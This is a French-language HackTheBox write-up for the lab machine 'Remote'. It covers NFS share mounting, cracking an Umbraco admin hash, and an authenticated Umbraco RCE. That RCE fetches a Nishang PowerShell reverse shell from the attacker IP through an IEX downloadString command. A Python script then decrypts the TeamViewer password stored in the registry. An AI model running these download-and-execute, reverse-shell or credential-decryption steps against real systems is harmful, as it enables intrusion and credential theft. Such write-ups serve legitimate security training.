Remote HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• Web Enumeration

• NFS Enumeration - Showmount

• Information Leakage

• Abusing Umbraco Admin Panel

• Umbraco CMS - Remote Code Execution by authenticated administrators

• Obtaining the TeamViewer password from the system registers (AES128 - CBC) [Privilege Escalation]

Reconnaissance:

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap : Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap :

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts

Analyse des ports ouverts avec extractport : Utilisation de la fonction extractport pour afficher de manière synthétique les ports ouverts et les copier dans le presse-papiers.

Scan de la version des ports avec Nmap : Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted

Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP

Web (port 80):

whatweb http://remote.htb

SMB - port 445

Énumération SMB :

crackmapexec smb 10.10.10.180

SMB Client (null session) :

smbclient -L 10.10.10.180 -N

FTP (21) anonymous

Nous avons la capacité de nous connecter par FTP avec l'utilisateur anonyme, mais nous ne pouvons ni lister des fichiers ni en ajouter.

ftp 10.10.10.180

put test.txt

NFS Service (port 2049)

Le Network File System (NFS) est un protocole de niveau application selon le modèle OSI. Il est utilisé pour créer des systèmes de fichiers distribués dans un réseau local, permettant ainsi à différents systèmes connectés d'accéder à des fichiers distants comme s'ils étaient locaux.

Pour lister les fichiers avec mount :

showmount -e 10.10.10.180

On observe un /site_backups qui peut être vu par tout le monde.

Pour importer ce fichier, il faut créer un répertoire et monter sur notre machine comme suit :

mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files

Avec tree, nous allons lister tous les dossiers de la monture pour avoir une idée :

tree -L 2

Nous voyons un dossier .config de configuration et sdf de la base de données Umbraco (un CMS) du port 80.

Le fichier .conf ne contient rien d'intéressant, et le umbraco.sdf est un fichier binaire.

Nous allons utiliser strings pour afficher les caractères visibles et les mettre dans notre répertoire pour une analyse détaillée :

strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output

Nous trouvons des mots de passe "admin" et un utilisateur "smith".

Crackage mots de passe:

Admin (hash): b8be16afba8c314ad33d812f22a04991b90e2aaa

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.crackstation.net

Admin: baconandcheese

Avec crackmapexec comme le service smb est exposer on va esseyer de s'authentifier et valider

crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'

aucun effet

Vulnérabilité RCE (Umbraco CMS)

Nous trouvons un panel d'administration et allons essayer l'authentification de l'utilisateur admin :

[email protected]:baconandcheese

Nous avons accès.

Nous allons chercher sur Searchsploit les vulnérabilités de ce CMS et trouvons un script RCE pour Umbraco.

searchsploit -m aspx/webapps/46153.py

Nous allons modifier les paramètres de login, de mot de passe et d'hôte dans le script.

Vérification de la connectivité avec un ping : Nous allons exécuter cette commande pour le serveur, et nous nous mettrons en écoute avec tcpdump

/c ping 10.10.14.6

tcpdump -i tun0 icmp

Une fois que nous voyons que nous pouvons exécuter des commandes, nous allons télécharger dans notre équipe le script PS.ps1.

https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1raw.githubusercontent.com

À la fin du script, nous ajoutons la ligne suivante :

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444

Nous allons créer un serveur web avec le script PS.ps1 :

python3 -m http.server 80

Ensuite, nous allons modifier la commande pour pointer vers notre serveur web :

/c powershell IEX(New-Object Net.WebClient).downloadString(\'http://10.10.14.6/PS.ps1\')

Finalement, nous nous mettons en écoute sur le port 4444 :

rlwrap nc -nlvp 4444

Accès au fichier user.txt et constatation que TeamViewer est installé

Élévation de privilège:

Si l’on observe les tâches en cours d’exécution, on peut voir TeamViewer version 7.

tasklist /svc

En cherchant dans les scripts de Metasploit, on en trouve un qui permet de récupérer le mot de passe de TeamViewer :

locate teamviewer | grep metasploit

En analysant le script, il faut tout d'abord obtenir la clé (en fonction de la version) depuis le registre :

HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7', 'Version

Ensuite, on doit examiner les propriétés de sécurité, en particulier le mot de passe AES :

cd HKLM:SOFTWARE\WOW6432Node\TeamViewer\\Version7

(Get-ItemProperty .).SecurityPasswordAES

On va mettre dans ciphertext les octets suivants :

255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91

Script Python Automatisation:

Voici le script qui automatise tout cela :

from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)

Le mot de passe est !R3m0te!.

On va vérifier avec CrackMapExec si le mot de passe est correct pour l'utilisateur Administrator :

crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

On se connecte avec Evil-WinRM, car le service d'administration de Windows à distance est actif sur le port 5985 :

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

Flag root Final :)